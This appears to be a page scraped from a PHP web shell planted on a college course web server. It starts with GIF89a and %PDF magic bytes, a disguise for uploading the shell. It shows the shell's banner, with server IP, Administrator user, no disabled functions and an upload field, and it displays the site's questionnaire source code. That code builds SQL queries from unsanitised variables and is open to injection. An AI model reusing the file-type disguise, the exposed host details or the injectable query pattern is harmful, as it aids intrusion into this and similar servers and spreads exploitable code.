GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Course/ |
Upload File : |
<? // Course/questionnaire.phpinc ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; $skipAuthentication = false; include('Login/authenticate.phpinc'); // Make sure we know the f_classId. if (!isset($f_classId)) { include('Course/studentInClass.phpinc'); } $headTitle = '_CST_ - '.$courseTitle.' - Class Questionnaire'; $pageTitle = '_CST_<br>'.$courseTitle.'<br>Class Questionnaire'; $js="form"; include('common/pageHeader.phpinc'); include('Course/courseMenu.phpinc'); $sectionTitle = $courseTitle.' - Class Questionnaire'; include('common/sectionHeader.phpinc'); #d_Var('$f_classId',$f_classId,'',false,true); if ($f_classId) { // Find out if this user has already submitted the questionnaire. include('Course/questionnaireGetSubmitted.phpinc'); if ($questionnaire_class_userCount) { include('Course/questionnaireWasSubmitted.phpinc'); } else { // Get the courseId from the $f_classId. $query = " SELECT courseId FROM `class` WHERE classId = ".$f_classId." "; $courseIdResult = query_do($query); $courseIdCount = $_SESSION['qry']['count']; if (!$courseIdCount) { $f_error = 'The course could not be determined from query: "<span class="d_s_q">'.$query.'</span>".<span class="d_s_fl"> '.basename(__FILE__).':'.__LINE__.'</span><span class="d_s_fp"> '.basename(__FILE__).':'.__LINE__.'</span>'; $thisFile=__FILE__; $thisLine=__LINE__; include('common/displayErrorsAndMessages.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); } mysqli_data_seek($courseIdResult, 0); $courseIdRow = mysqli_fetch_assoc($courseIdResult); $courseId = $courseIdRow['courseId']; if ($f_form != 'form_questionnaire') { // Get the instructor name for this course. $query = " SELECT user.userId FROM course INNER JOIN `user` ON course.userId = user.userId WHERE course.courseId = ".$courseId." "; $instructorResult = query_do($query); $instructorCount = $_SESSION['qry']['count']; #$instructorCount = 0; if ($instructorCount) { $instructorRow = mysqli_fetch_assoc($instructorResult); $instructorName = userName($instructorRow['userId']); } else { $instructorName = 'the instructor'; } include('Course/questionnaireForm.phpinc'); } else { #printVar('$f_uuid',$f_uuid); #printVar("\$_SESSION['uuid']",$_SESSION['uuid']); #$_SESSION['uuid'] = ''; if ( $_SESSION['uuid'] != $f_uuid ) { include('Course/questionnaireProcess.phpinc'); include('Course/questionnaireSubmitted.phpinc'); } else { include('Course/questionnaireWasSubmitted.phpinc'); } } } } else { ?> <p> <b>You do not seem to be in this class.</b><br> If you feel this is an error, try taking the class questionnaire from the link on the <a href="./Schedule.php">Schedule</a>.<br> If that does not work please contact your Instructor. </p> <? } #SetDebugOn(); include('common/sectionFooter.phpinc'); debugTrackEnd(); include('common/pageFooter.phpinc'); // Update student interest. ?>